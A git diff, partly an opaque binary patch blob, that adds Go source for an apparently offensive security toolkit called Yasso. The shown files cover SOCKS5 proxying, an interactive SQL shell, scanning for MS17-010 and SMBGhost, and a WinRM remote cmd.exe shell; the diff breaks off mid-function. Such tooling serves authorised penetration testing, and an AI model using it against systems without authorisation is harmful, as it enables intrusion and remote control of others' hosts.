zal@fGCw3>Mp;(k}O4$LL@Dcp9kSbpA^LrGE`oT}rqxubA)aiR-DvMx&p&_#b-__2x z_;+UejL$pG{h858P9OCza;7I*N&H1EjiZ*nXoE!bXOm_xoV%;$5Wl3MSU#V@iLo*c z&k4P-h*`m9<{(omZ+V>ck9BV5U~+_oG>pe4vL8T8Brc+$&}^O>Sn#4gb1_5r;zGmdz{Hnk@2N#xTf_Llz1%g{CYr;?{{U_|WfxpdBznHf*PqSEQ}BkGj&{*N#-evUjhNr$;#%+tmfdu9k(TZg{+&e*TJRU%!$IStg;-z1Mkj-7xqGbEjHO@r zAGUximKywIo--0SbT3-KhbwbdqKo(&9%D^`Gy+T@b6>w+_n^+b*cE)iDwEIn;i%z; zRmDP#%(h`}TS8|j(&h?3uqE>phx-n=!4J5|CLSB@B!AEnzKm#uM6vLe$PBao@I>yZ zg+}^K*VN{^P4tN_B9GMR;EUCvcs`=Jhpfbs=4PC+2|P;7o`J)sYZU6IJ)(iVw$t~vg`~`nPtqwaLZy6BWWP3!>$LK@8JalUm{S>hT+|umyCn&WL~GK z@QB0IV`XGH6GPMH+a4$D1~NlyB4Xa53BBeMW7AB_8$GfU?Kq(0P{6V>W^xs}aE}E< z->G+)&+$fD$@jXp8CqGDxjcNMS2XW2NSuuspA<Qzpz?U^*WZP}w z#oiNs!1~L{n#d}=hc0sBsqDhqLl4#|XVnwEvTft39%z%@avSSA$35O2c8yr0~(AQJn}`}LIONK9%4S%7A?a^0&>b|9qs5$-V_eyv}_nvS+%f$ z;Pr|IT31=~Dj#Ptc*AQj(=psMNgn#}wN&%{Z$3n#@F`ljieIA&ZZaiBJoVm=al{l7 z6Ak41p@C2Ip0>zD|A`bhV6*T?FR6)<2}*xj7<9_A|EvR8ZiLPmfkL1N$wd8nR;*vI07@ve$8>(@b*;HIYStuau%m~(XY#{#3 z&S=GmsL-D#^vXId(x*SOgRB7_R`06EPt3yuszWn7aUTuw4r90`85IB;5kItsf03cB zP)w6ckr~Z)M#HYM&SeKUPejoc8)FOfNIseW$Q(3DWo^JpqDQ?{K$=$ZARZ7-$%yA0 z$Lclwp*vL=k<>Vew`2znUASREvQ#?EtV>p8()Jh*`Ezob?EA^}Xo}wHDr@#gFE&U{ z-q~A-g`zV)AKCI()r@ct3SIaiaTY@YEyL_5;1b^WNitXSOnic!jxM;;;?AzR6 zWNW)%>lWjotf_-N(h@<$&Da?o(pNm&IvyPA$VGqF5&34`iWjht#2P)#N+KRg*aSZ^ zC!~#y@;3Yho7p$o)0cOpGR#+S#tPUEX-1CJGPDTdKljeRCOO2J{IJSa9u{$!RYk0}Ss?oZIrQ#Szye2*$`%3+p%(DxOn{LbL zt;GM<87(9#XU2rp`a7{ytfwWd$qrEKJ$?9}3Z!~|pQVYvvN|KhictZYfAR#m56gs` z9$*Ze<}Ea(Ewwf4DRG~M6Az+2ae_{GTWl*?Q1qt~McysRM6{0E`mt(~60cn~pRus{ zwGra68IR>OSK-V!_+kOXuuJzqg(&@R%FcE+FIPt%)!1Q%XkeBX?U;3W?QKxX4Wu9Dn!PQ zJ>UvF?~k>Q7!-+-XJSh#i?O-(nU2Xu%)E&9)XPXZu{07BCB!dwhYK~1__qIa&ud9K zzCnsvyNTPeWNmE0yvN35Y-GZAbGA}%BcLNuR@~#at=)#p+)Xx#jA-zVe!$?A&E>!G ztPEj65B!N|k-PXzs%8oDVnwtG4kff}b}*WIuFxJU&saJ2)jpat0nt8tq;K;#?;u4I z?6G5?ax)YgP3;Pmq(jSO73lb0sF0zELnKdX=t`9_s`bdV`I^Qc6H&M|m_amhgr z!DiamvNGuiEt1Q#qB}BUqomDu^&6`aY)t-kvv#G*v+3b zhWf-j?xBON#S8SwsA-8MfJ(ldaB8(AIr#61_ zt+vOG_2EdyfMfQbT~D|Y74TtYjF0$X`XE=fF88O)>)Ce(FHl{?_OgF zMs$fOv^k|HvX(!QNcKO;G4-m98@q~(`EzR7U6Vr->!2<6sP+|G;~Q;3(L-_!HX$mr znBen1CkJvq!CFq{5;)jUCo9jKFSnAfvx?Lr*{w0gZbh;{{*4Q;dZ2(jv(}1^A}t;Q zl9XV{$(yW!qqD_-yLkG*eT$C^kV$1bAtK5kdGCLlL0Ta3+xHzM@AsQt=e;*U{A%0Q zspT??my9dsnRI{|Wts|)ajb6RhJu8JNfz?d9+Ql6gh{GRLdjg2RIZtfKO4iD&SM59 zh~Q|GNxztx_rjMDVyeqM={aLSkN$XIivBp=_8MRg35d}HJh+O>xrYxpB??3DTWPH! zI9g!hYzb`Li>#-=ar|k^cJCYWDoi+S7Z`Wf;ioOz%V*X82iEa!o%$*M0hf32FQX<| zPwRG6YDNo4o9#S<|q)0k4( zT$@Qh=TUV!UPfB=_jQQfQZ((ED1|-~q~uGyU7f#Rp4;1;1NT=wIBCmnX_~@KaeE*6 zp-T#2>KCgw(KxWIQZw%4odk2WZMWBR`pgb<-Hm7wnW0${+4$4nOxM5TURtKK?Zipr z_|1K_?1?tRYhMkHhI~>Ya>tUv{BIF%o}S7Hyd{&iB(Iic!KW>YFRvDD(!{hmED)U1 zNcZF#G8mam`ddiIEa=?499-QmMPnL9lj2K0Y7qL^fj)jM1>)1I{3nkJRQ?ZpnDU>J zM{PI&#<-!)(n1zC_3P$k$R#?Z zXVN0q91%@EE8m;K$^x|wU6NH^$9#WJ%swkqSPJR)_uKm1uaG_HPa+4XDtey&-E-YFN+sAXlMR$fVSs-wm;=7VnW znlizl*@82A2vn#a_tQFT20VV`6`8+#Np0OR;Cjs98$P)T5qydXxf2T?@T*b+Z)80b zIIXUFEUzqT8Us24HB9=O-+OLf<+UOEb$UNVH)AKJ#BUn1U-Ka!9EGQjgSo%TQ7G=d zbDz~Z9p8008t}b>>y}8cuQK0^t9hKzzKVa9zEzE_-e0}$vDy!|x*tAzEvo>Uo@r0c zWeqQ0!jblTlw-X;HGmwdn!=~BzTTdg#~SA2Cf=>Lr&zq+-u|?TC-$6TU}W5U(bqa2 z5mLL^aSESJgY|Zq131-$z_;A{bt}1ddtN)fb!%HgVkTVeiw%+2p1@-bF4p7w7H4uX;Cc51pA&r+21$oc3wCljF2KbSL+owuinHo~P}3 zpHZgmp+~L>f7`R1*L4nL(|`Jm_DD2aL+mZ^O>NK7!N+O($zrF$weK+^t_QAlZZ%b~sctTg(<95ArTw&CmQ>!L1vsC0RcQfZEFUqPj zHE(TMvyB>f?7|j{EzJItn|9sFE1LXIo~VvO8*EKR)R`V!*=|9NvCOHB6HPpWzBAXd z1kt7GRg>?0jy1&w;IiUNohkLO9#cI&D*zkL#!fyPdh?+!I9>D8(3?EB+vF|TixIg{ z=2f=g&sJshiGMyWkI^SvR9;ygC>r#O!`v4Ga!)_+NJv}oY6-2p9gk#~tT?pVsv=`L z_BU!+#*4i0P0x{y@yULA&)!1D5k26`fkKdQf{o6`8X)7rwzZ67XK>M_-3uH>-r_~B zN1O^xY$ws$82U!XsKG~M5WcmMM{vegj2C_52?y|OlGBh2zVKno9KNPG@^2hd8*h0| zZEDcFS;lCH{z5Z3vrk%Ye1mr|?!;!J7rv0=@zK$g&)v%^a)&o^j(#HBj1!-YY*Dt! zmWIq?C+v^yY|`IW@_-|@$3C*d1&8>ePhwZ}7%qr|a6x4oH` z@9;4ePA6?U`dP04yU3(vW{l)>+uegV z^Mbk9*l=f_Ta`O{f~$Qt@<3N?IoE7v&_9(q9>B1-K_5E9Hww^UMS?4T>Q$N7XuIK7 zbwVDIS8y9Yb4+Z+y>(vEslD|=rm?e~dEMHkzop%-d+{IFk58PP_Hvk!P^6*f6}QsU~m0d;IHW<6vZx9H8fi;q&1y zwlwvV*iy$m^Bvmahr>r>m%HWDSRyMw^PW7twm-G4r8V}G`-u%?Glw7Zvi8w0@QuG; z=@ndG_qth|)?U}f;s;#rTOm1msY2~g6qz_^#`DCFJRr%*8nWg`(WXc8%2g6GtWNFv z$p5UHBaIyC#9fY)b;SmS`dVqvU$dG)8ChD%yAJ~?SjV#69+RA0ul{v?i$;t&?)P;x zr9CnYeifmHH?vLY&;uAgRSL=7krUZ^A%dg^^jq3=)Wp6ecBpZmZ2f^ z^nc?=Q-jvNm)9KkYnZ&6Inm9M$GmEuLWy{j^+x6|akAqp?s~o%YZ9@PZzXrF<5!iR&(C=aVzs8iFZufKIaYm_BdJ3Zt(3U-r1v$MQmRmXgG18$4(AnPKj(C z>`p|?X9O4c_2a zIYhmgB=t#svrFflHnGlc<_>(QZ))#)>99*4O=reoC$5K_=5rLdX^tD&4ZoQC!`{`N z1okAbCxJZ){8dPxGq3sBX-!))8vn;{_QA&eapz{=&GVq{-Pxn-`N$2i+tmd2RgjK3@*!6xU|_vgYZp%($~#=nCWYeCzqJE z%Mo159rBuWU$>`%;eITx;YK|q@cHN*xW0}Ax?KhXzx{>j`29ZXKG6C2Ot*hkIY~Yk zJg~06o6F_Pj;o?EA0xVIxyrxX@AY-dN1moV`bv)Ny5&9A^^vFCaz0M3#yN*M9myBR zxJ^gn?YhDkzv&E~L0`u0ew%2}mfct@e)c}K*Oo`@u4{EIk1>vQ5IM+b$)WlFa&pSU z(bnl{58L^*Xow0VNzwsu*4t=zog0JNhsbq~AIkjB2*H2T`^bYzv zGVYGvVb4u(Fb}$SM^BG$orb2}UN`-H4#^5FZB2iVAG~d6){o$Zy|taCU)z7jui+N=X-uoBr4S&`AHJ|+|FY*Co4>@)&NIsK&QMIbnw5EF!_~skax|nLNcrj{WS`y3H zeQK6!L1rm^wZW8!ER6FmDqiYr_Ai426x-l$>DTY=gQUJh2aSuoUF#RR@Fn)qk4Jmx zmp#VtLL+!htxbQlPi0_Suw#s_cdEI0paPlr%h{FS%NRM4o4P0%@eAGQgMN}wa|Q#4 zHZri^6&$X~mL4MKmajf77kqbJE;7SeWMMyVcY2%3iX8myMrPT6qZ^~5HM;gXWO}po ztkzhYZ}x+4{14sR12R@>!*s|7>6>iuzh0Xp*R%)T2+rhgC5P~n{ZTS?9p2&bo0ELM zzV;IiH}N;sckG2O@!0l0_AIySKgYw~^(TAy;+wG#*S(hw4t_GEuk3U3j_w2RudiG? z-i%n&a@gvXUnL%FFQ2jZGu21@t7Bl!U%(R|>)73LoVIryi`|>S$-B>Jh(Ep05L=1d zjUC^LFY%|=<%o^(0lta1z-;GJtFj>z{75qu{d9wOms#cU3@$Gt#rVC4a;L&-$Mn1Y&{QN)vuz>pZ%ZpFy z%FXu|-!D=&-#NN?sqTGHa2J=v9$lPVULpH(G4gWtzgi4p;e6rP4$~{eU`RT5gNmbz zSBk)Ei}#j2KdAQva;@+ZJGNe{cUNna7Z=Yio~d5f7jM-J{9(PjbVGBW738HQ76N#w zdi}Kit`?T_i_OCOtnRS@Je{pRKP^t8oKw|GK6fu6D26D1wD@sBq2ofef2)k3sXkf? zh=E+LyPuShUtVIqTK}J`@jog|cUO-ii^mp!zNC&UH&b=@;?Bk5ckW#Lt%9p}|IvSO zXLbBm36%A)K16$ctp1J_$sgQc^m+~ZN?jYeNxu6A#I_01E ze^_?IKF{75Ws_)P23wIH+9EEtcxB1Py!A@aLNEk~(ogEOdDG+h8lO2{FHWv3>ES!L zb(d(n_3rY(qxFaWw+oM6M+&?CPu#e^|3=?Ul4_W{mzXz=`=j#nA8(8QfiH>w{vGf? z_$Bc_umk>wz9jw!Z{Vl%j)W}fdWGBQIl4Q!yl(+;wC=EEj(Kn8TjzvAO8+V-sydoBH4TMgQ+_(Yq~V9p~TN zv2SaC)5zbh-gBG}lw4Lhh&TAit{I1CljFP}{st{a7Wb?{Jh;TXwG7HuYs|JB=&$Z0gIJ zcIqpxZ0h^aF8V(7MPIs8a@={m@67rr>h0X;;gvq((oTGR_lrJlO~WI0?)}JG@8Jb{ zkC|Vduxb@Al|`{15#Y|ny*1NbENk;LSif&9Q@Tr)mYl6f`d;1hB;1dduP3Y3^~uGn z_4;7FUS1Xw&s8$^gT+r4PZzeU)$(zT`A+pZS)=RobXoE7O4^>T--l|J|3S^(r|X@$ z{X{`rul_GAUr*Kb>xJnjb?5PdeyK)!qwfE(?z(=Z#=WnodZT)OS~1`Ub^U3I-AFu!K)YW(E|I3BlAx>HIvz1yND++CvKTz^{ zwjfW`9HIS*!leD7;^subepGb4Sg)_v|M!Z5CyTzf3-{^r+B4PqPSJ3oxNrbp0{L-a zxmq-wu9nLsjZc@nJid6Ur1W4(`P0JjPTh5Vs_6WraFOKqYV3z<1Rp4;nPW9?ohUfl z5SL40Z`AA6YJZ_%PuEBn>i^}UPGbCQ;d;MX==Hh6alG2jmlR(t`t*OXe)A~MS8Lp# zEdHV(zPF@1fm${Mc}H`@KOi{mBzvo-qtrS(Tjn~#-;t$Sq8 z=bPs$OQ7>*#SfK*4o|iSS@q=U++a4Ddw%ALm)Cm5^VhK@E@W*Wx6Y!=LS!qO%JSq| zS@AUY-fAX$qA)gRp<$K(C(E8Mm)%Yw=Q7xeC*!|bRw(zfRSn^jJmJQ}uhY zYy{pHYOJT~-dpwedi@=%ab8(ozf}J{-T$@n63{1>vb6M+8><0as$7|*u9Qu0vVti^ z#%fL?jTe?S^sVZ-Dv@v9Se30>)fC^HLsFh%JyP^dm+{f+6yj+4LW%>c`XRAi{)-;z zYwn!(m!n=R3BObPZ;yQwCC6@zU`05kv$Y*bt;&TA$EZW1sFnM!Qcfxg6Uq@!7M%(d zXueRIJ70G2cE#88Wn%@eWie{gHrvM`rQh zNX7rH;>TP*s(K<9FTVao45IHjoHE;|HP-r_cZ%W>pP~nPex;(ol`VUuxQTl9M$5lE z$;|z9YhRmlOfpkne7xw)EcbRBOrUFHKH)Ro9w_3!FuJK(iti%jpMqT|iNH45P(#+yao`^D$cqI$U{ z@cfa=_0BFw+SH$v&?uX|T=Ru`>~j^bUnxxTn-sM_s(V+u_3b~t$$-HE*E#rM^2<%-v(Oz{D0YM_hY-=3}(kU5_l6Xu9Zrk zsut6aY4B`0%2v4Tq&&av{jYN8B~#pX)J#KkT;}`5$CuxcdE$n z*z?(8SLHwW?_>eLi90Es*-ZCLDCgI;;yx;rs(9-w&guF!868)d*EUtx)U&s)I`7r) zuUE$XFJ|q2dz+fpymwy%9<}b&{C86W9yRW097F7n>1+5a}x?Cov5TB+Z&%iV$twMJ0uet(Oayge2B0jFz~@`Li?_sc?GtSiS~ ztYEH}{XJM1)uT_>s>mMB{k6tdus5Pm!oGqYxfU|qStSXccEU@*54^hexNvdZkfN^1F(OQin~39)Z8!EyJsq0 zd!_hDZQW?kE%{gTe`QJEc6$bPW~Mdwhl}6emYO@6O?ACjYu~H2PZwpG3r;Sx|J3;R zYVCWq_TAR+_iF9&oZc(ktF@1v)4f{zv;?)?ZqQ$0t^FHsRd!~*pz6A;pg%Zm*=1$- z57+xFe*T@UYLwg63vaeM`Bl^s9qM|h63FRx!Y`|?xMNlEKmN~tQ>%)5=d*KOc)Ro8 zd*`!%`RB90ifZxAo`fCMy1feX-s$kJq~@G?PPOe+&l@$(?tL>=+)+2~-qR}X{ABvC zijrTX>iM%B>zcc#|dvS#)B4it__cK z-THU{&+3`ZbsJc%3_GEGy!twEeYsA_sJ!|0_>z~FwZbRrjKix{TXUw`dE*~c_3-6- z?=r`@)U;pH%yas_>~d+*fB3o~at$D^-DWp8I&cK3+BK)zjZ6 zs$I?e#gc#%y=UwCVpSYZSFa}upOfUqa|Zp{g8E5uuI_cN?mEHzdi}jo_dcrD7mB9W zmv?al{z6@;IQo5}-lyVuU-5QdwL7)_KkJIQcF7-kV_tqZBrGm+6 z@{@JndEwVK@VCy7ujhEEpkFV_U#Wi2l~jLFukY5_&levazV3tiV|*u=GX4*%!unM4 z;k5a%9g{MmoYO30u?{-Zl_mspgEU%v}?mYCb&vUz< zQ|ZpAr55a*^!-KkPnRo-Pm6;~B@wTYF1$ai`#D7p|M}ACI7iKLK3Lk(+cmCJ=N^-D zw%+G7`i0W)ll2$4_exII-yau!Zx_AuQ}3ti+BhPjs&P)gJA0LndcI$+KEaSv+OHMV zlS@9oQ~%i~-(jgzk3ve+Vwjnr<|te4utIw&TyX`dkd9mbSoQq%BnacP}H}p9j zXX{G)r5c|;9x3j5iyf;6iYlk*(fwMr_9qBPlikq&J4F%y_i5jo4 zzg790g8BLh>E-^x%k%TmtLNfx?p(WZzRcNn{n4|_v+a*>&D$<_LcX~ZhQ-hC`c2sv z*}MnxQl)qDW{cmOmOx=04|CiYV z`|7CKX@*&SiWq6_yboqCp!wx}`Rv8|zRvvf8or8f+RO7nc8Fw?gnf{kdp?kzqif|m7i#C??b>IwQ~7S~<@}`HdAd)3zF^by zgYuaQ&sSP~evnTnWKSmledfSEgU>qb<}(Q2t38xUh1X71_NkgL`$HFMXYbkCLwThB zJnzV7E6&uu#e4_jbmdRy>;6ae`(F9=>E-i<>|^-y<&SD7#16)}iph2_?D*YZf2WIU z&qeVFaVc<= z7T5M{jd{Ly1)p5LK2@)t{&aGAeYWoB+WjYL)Q^gv7wg@VwS)6|{i6G~=ebID`!+wb zYwnYKJ2`thIeR-fdpkLKp4eEq?LB8{^YebzpQg0;oFykS_MWrk`4V5vlfZVnr<`5G zd_vFj^1g!SEd9P69L4+_pZvIgT<>zXqdq;-7}8^L!v43M zPJzGs@BSitBpyyG74iiM7N?$+v(tA6WRq?4Gif&Of4o(PhCB#NVPpO+0rN)zeYS)l z1a$l&-v`h;By)j!9Nqj;Qc3H4oZmQ#Cm$7sdF*2z0)1rh?P~ED%OjNlClR(Vaiq&3 z$;WRjJS>15{(GW$lVm&O_)1}Ops^Pux&M>8cJML%pQvQs{a5S%x%zv&mH_a3Y-Zr~ z_ejgfD}}c#xKjTE|8`N~K%((Hq}E}~Czgw#rz%B<&-m~?Rqyn7{qFMG_^&Rn^?!QF z%b6wpfj9m$_4oJ<`tggtjAseqAStX5*Wa<_coteV7>s8rX8iE;)RLdzH(nk9du}-% z{+?d)58o3N9Gadtme)UB!jo^tcmJv7f^*30sT=aq|9agIJ;4`#je2$|AJ>t;!*I$F zO;6QQ71Du-;9_&r#CvRNKJU_6dLJ zALB)zblv)d-$Fa~N1oyT#FC!KEA+EJM?|B~_6PDN&!?7L#U99eia+*5zHBi1aX6R1 z7*GG>6(QRHNFw;i;PF~!)1PnubZnt~b4IZzyIm_iJ7RmOyzpx2&tvVb zSFF0bFs^fxFG`s5v6(K%?dOsRW$QQIw|3#l!dvoXdnzWE>$;a4kn#DhBJXrj+T*tTTtv$K+-}~dewd-f~ z;g~!8i3mN^bt-IFM zwVJ1wbq+XEo7!9p*jrogt*zzz*UQqnimN@7-lJ~0Acfvkh z=dI%J)y{e@9?0FUcvk70j@fJ6y|uMUQ@)5eM-=zg)_ZH~_3F@H;o5qK?~m_A=F7GE zf1y{`pZ~*O?Mk@^-`!eyBgy~a|MrWlgR^e5XR5xj^Y_AceSiAx?)Ded+0NI@`B^Q} z^E>@M_ZRApJ&1gbPD2dXZV|D6@g3a8(y#0I`%YJpM$K|wJL)>xk;T7VzoRaiFDA&> z`uP~GFOTzuKi1jzEbBx!)8pP{54G0KzgyGa@Hy(f{g=kwS(VkHpQELvlw*8})+b-w z%brl<-Rf1f^QXl#ZGNz{7*aS|RnV?&sy%*x3x1ANwQDQPG~adZ-Z{!_-8yR7n{lUK zb9qSySjd)?A&hA-Brw-f5pVkUxC`=ZZ~p#v-iC2UY0wJy{XT-6zm_p zT^^nDFUA|Obk0+AF>e*ivIn(p*IV1OueRi)`TAI2-1tdZqkRZ{?y5C>d)`Ag-u-MF z+nZA~t;5fA_W?Jkp8Kc|QEuf0_J{5H<;y_wHB7)@|p{;h(EoV6qt<$6wKK9IW=4eR#PkRn8X zh3R}RWL=``Shlyq%O&|sMf0kqH^-}ALfqcBF6XV~n_a}_X7zRJehoQ)fXeFE%tl9B zf1zl9jqeo8^b3ibqq(l^zHa(*R_!k=>sh=165{4#tJmFpNpVwY{O0In#fR%f4f*co zi-{Y@oYPIQY?adKNH_Oo#jBWBucumB|4QI#3|Q?szn)V#zIHemrgx`b?=Z))el>rP zQE*M`Pty+*eDz<3yiU)&Wxk*NReV|U9RK>&JQA_HoMBmqOv`#SYRKJv4Rb@UzU~|| zjxFtSBeV4tx#J|loy!O~|0-x%;GOk%PyJboovQz1pL{odGndypH81yR znN^PZdR=1cE$U#q{ep^3F|566`UTTHe!t$#7&j9S$JqJ8=^n3NZ|-ZByH~$%PqjIY z)_*x)NZmB7zRn}uFaHA+tK=3 zH-8`|{%;Om|DAJhHJ|FrX6SV~hrBj@N%s19r0X2g9Mh`gd~No6-y<7WFuyuWnbW-6 zd2ACObE&U?EM&dUd~6n?e7ETfxmWv6BffJ&JDn1m*Lju?2m4i>_?Zu#4tP%W;^bF>&)KKNQ}@-u=?Cgq{zLUC?1$^q z)}H@hGx}H^ck~SBr)rD)WR3YuP4cJe5bpDpD8E!CdM$*1xLDlwVexTk zvAD~!f)RLL#PwQ2zqUO1%E@wE?9B48=HgFmjDJ*#cT4MHy?2GSUkp{uT`55 z;#ka{S(X8mmabRJk#fm7j?w#@i^ZS)wSws1Z&xwRvCsT|R;mBbs?>FKvG31T=?D(b zK+ZET&eefCKPUdr|Mb7Q*gyWC&;0v;`Sm|NxcJ(UeftjHa%8dZK)w0KH(VZi z|F+|YAK$-!|Di+s4}bmei7#GV{lTGX7;o-4r0wvDdaeKa_wR7+_Wpug!Y-lzrTqsM zi^HG)or6bi*>~t0pa0#12NwIj@z|lFWB;K8iyHb+5$EsV*A|+NXsWx14&J)BrQRN@ z=6$#O2fS|HdSu@nhwiwgS`Hq%WwAJP__nVf{-eVuixqUA+Q0u`A*m7nYpm`s=zZV# z{O=dqeYgLSi^HG)!y0V=667BpII{2XslvPOP!V2uZlB}%#%;fM_{g-WfPU}ri-!)s zdiagQZydVgKnd{B{#%Qr{re6be(`HH>>D-e?FaYYabSt`z>3+beTQyc)ZIG{9KNmo?LT<% z;QoWf?|}m~UiI5w{r;!wcgw+px7~W6^t=DSf!j)krGe^o=)k{x_+kn1$i6=;S>INY z{Jq->&7p&L90Iv0sV?dG!^Q94_B)6F^ak4m`n$K?diec2ZaH*te<@~h$1Nqy8oE%p zbzuMD4-bD*!oPJNX_*!8aa5*MVaDmIK9Ask_X0$xB(z!Go~he)wlZcKhMa ze_l|<)s5Ek2lp)w!oB#{_AT};UfKVzyms}>mFF&haN^^$=dWD9c=>}@-o1MHqig#L z?zVm44((g~&TD6`zWm~|&s@A-A#B-rc;Di$oqD<2j=XgF^7Z%J`2Bs0-#zikhgXgq zJMrwvXBLaw_bvYVyVtK@dGy|U&sX!=^Or8Zcl7M#_m5t`x>$U@u-||5KEI2_*On-a zwfN~@{`Y6R?ytW>u=uC{*WtxK{T~l6UV8cX%kQ50cmDj%fBx|^fA3q5{lEY0o8P=c zuVatC`RcXvSFgSK___BlesJ;H^{Z#DU%vY0@$=W-yMFn~n@bYkdg9F4_l{q_eD&M! zpSgDZ{MEF6`^k%!&R;rz?b^3*aPaLfn0#}*yZrV~3fbEqUKnjhubg`uiN7{Kf9wA~ z`~@vfdVl1L%h{VpCUA?zTgNV6J$~uZsWTUA%jDYG%U92zKYH#`%>niE&+Q}p!L0M% z#czNF_AQn6M~lVhb7Fb=qGrwYc5qME-|LG%TpX`B(m%&h$8oGG{nh z*~4>neX{=hE($;Y&DZ|-|F5D?z4PZMum5H)7Qz@`p8g!Ki+zRF(x5*KC4p7`_VcI9 zUau?{4z@8bEpw492bKVffAF>cvXJgu9*pnpxphpRFJXMsKz<*p{G(*B_*bjvzU5ZQ z`(JDpUJK$XuOIs2p2f=tRr2l+Y5_S_WBMrGvx_4o6J_J;RrFRySybQOt-eji@yeO5 zE%QUq?X;C`YsQbf=;{qDzRyD6`zk1pzNf3N5AKdW_gA)a-xq(zLTA$cEaeqd2Bqs` z9IbpyX1AzJ?vJXkt>p_v$)%+vt`wgnd7<(>^!V?iKabYOiSI4QPbx3GQr!3;vBUk2 z`#bY~w4f@SFaBm>oZ^i3Y!dlSi>uY6CA_H26zx8`W;~fADq3#6mA^?&gNKI~zgIZ2 zfq$-O^D(NyedT*MD3qnM-9xo1TjK06jVr?ev)NeW9 aFZG$? literal 0 HcmV?d00001 diff --git a/cmd/tools.go b/cmd/tools.go new file mode 100644 index 0000000..d0c1d5c --- /dev/null +++ b/cmd/tools.go @@ -0,0 +1,148 @@ +package cmd + +import ( + "bufio" + "bytes" + "database/sql" + "fmt" + "github.com/olekukonko/tablewriter" + "golang.org/x/net/proxy" + "log" + "net" + "os" + "strings" + "time" +) + +// socks5代理连接功能 + +func ConnBySOCKS5()(proxy.Dialer,error){ + // 解析连接过来的socks5字符串 + if strings.ContainsAny(ProxyHost,"@") && strings.Count(ProxyHost,"@") == 1 { + info := strings.Split(ProxyHost,"@") + userpass := strings.Split(info[0],":") + auth := proxy.Auth{User:userpass[0],Password:userpass[1]} + dialer, err := proxy.SOCKS5("tcp",info[1],&auth,proxy.Direct) + return dialer,err + } else { + if strings.ContainsAny(ProxyHost,":") && strings.Count(ProxyHost,":")==1{ + dialer,err:= proxy.SOCKS5("tcp",ProxyHost,nil,proxy.Direct) + return dialer,err + } + } + return nil,fmt.Errorf("proxy error") +} + +// 返回一个连接 + +func GetConn(addr string,timeout time.Duration)(net.Conn,error) { + if ProxyHost != "" { + dialer,err := ConnBySOCKS5() + if err != nil { + return nil,err + } + conn, err := dialer.Dial("tcp",addr) + if err != nil { + return nil,err + } + return conn,nil + }else{ + return net.DialTimeout("tcp",addr,time.Duration(timeout)) + } +} + + +func SQLExecute(db *sql.DB,q string)(*Results,error){ + if q == "" { + return nil, nil + } + rows, err := db.Query(q) + //rows, err := db.Query(q) + if err != nil { + return nil, err + } + columns, err := rows.Columns() + if err != nil { + return nil, err + } + + var results [][]string + for rows.Next() { + rs := make([]sql.NullString, len(columns)) + rsp := make([]interface{}, len(columns)) + for i := range rs { + rsp[i] = &rs[i] + } + if err = rows.Scan(rsp...); err != nil { + break + } + + _rs := make([]string, len(columns)) + for i := range rs { + _rs[i] = rs[i].String + } + results = append(results, _rs) + } + if closeErr := rows.Close(); closeErr != nil { + return nil, closeErr + } + if err != nil { + return nil, err + } + if err := rows.Err(); err != nil { + return nil, err + } + return &Results{ + Columns: columns, + Rows: results, + }, nil +} + +type Results struct { + Columns []string + Rows [][]string +} + +func (r *Results) String() string { + buf := bytes.NewBufferString("") + table := tablewriter.NewWriter(buf) + table.SetHeader(r.Columns) + table.AppendBulk(r.Rows) + table.Render() + return buf.String() +} + +func SQLshell(db *sql.DB,sqltype string){ + reader := bufio.NewReader(os.Stdin) + Println(fmt.Sprintf("Welcome to Yasso sql client ")) + for { + fmt.Printf("Yasso-%s> ",sqltype) + sqlstr, err := reader.ReadString('\n') + if err != nil { + log.Panic("failed to ReadString ", err) + } + sqlstr = strings.Trim(sqlstr, "\r\n") + sqls := []byte(sqlstr) + if len(sqls) > 6 { + if string(sqls[:6]) == "select" || string(sqls[:4]) == "show" || string(sqls[:4]) == "desc" { + //result set sql + r,err := SQLExecute(db,sqlstr) + if err != nil { + Println(fmt.Sprintf("%v",err)) + } + Println(fmt.Sprintf("%v",r)) + } else { + //no result set sql + r,err := SQLExecute(db,sqlstr) + if err != nil { + Println(fmt.Sprintf("%v",err)) + } + Println(fmt.Sprintf("%v",r)) + } + } + if sqlstr == "exit" { + Println("exit sql shell") + break + } + } +} \ No newline at end of file diff --git a/cmd/version.go b/cmd/version.go new file mode 100644 index 0000000..47aa70b --- /dev/null +++ b/cmd/version.go @@ -0,0 +1,17 @@ +package cmd + +import ( + "github.com/spf13/cobra" +) + +var versionCmd = &cobra.Command{ + Use: "version", + Short: "Print Yasso's version in screen", + Run: func(cmd *cobra.Command, args []string) { + Println(Clearln + "Yasso Version is 0.1.1") + }, +} + +func init(){ + rootCmd.AddCommand(versionCmd) +} \ No newline at end of file diff --git a/cmd/vuln.go b/cmd/vuln.go new file mode 100644 index 0000000..9f41276 --- /dev/null +++ b/cmd/vuln.go @@ -0,0 +1,78 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/panjf2000/ants/v2" + "github.com/spf13/cobra" + "sync" +) + +// smbghost eternalblue +var ( + ms17010bool bool + smbGohstbool bool + allbool bool +) +var VulCmd = &cobra.Command{ + Use: "vulscan", + Short: "Host Vulnerability Scanning (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + var ips []string + if Hosts == "" { + _ = cmd.Help() + return + } + if Hosts != "" { + ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips + }else{ + Println("Yasso scanner need a hosts") + return + } + if smbGohstbool == true || ms17010bool == true || allbool == true { + Println(fmt.Sprintf("[Yasso] will scan %d host",len(ips))) + } + VulScan(ips,ms17010bool,allbool,smbGohstbool) + }, +} + +func init(){ + VulCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)") + VulCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy") + VulCmd.Flags().BoolVar(&smbGohstbool,"gs",false,"scan smbghost") + VulCmd.Flags().BoolVar(&ms17010bool,"ms",false,"scan ms17010") + VulCmd.Flags().BoolVar(&allbool,"all",false,"scan all vuln contains ms17010,smbghost") + rootCmd.AddCommand(VulCmd) +} + +func VulScan(ips []string,ms17010bool bool,allbool bool,smbGohstbool bool){ + var wg sync.WaitGroup + + go func() { + for _,ip := range ips{ + tunnel <- ip + } + }() + for i:=0;i nul", stdout, os.Stderr) + if err != nil { + return nil,false,err + } + if res == 0 && err == nil { + return client,true,nil + } + return nil,false,err +} + +func WinRMShell(client *winrm.Client,Command string,shell bool){ + if shell == true { + shell, err := client.CreateShell() + if err != nil { + Println(fmt.Sprintf("[!] create shell failed %v",err)) + return + } + var cmd *winrm.Command + cmd, err = shell.Execute("cmd.exe") + if err != nil { + Println(fmt.Sprintf("[!] 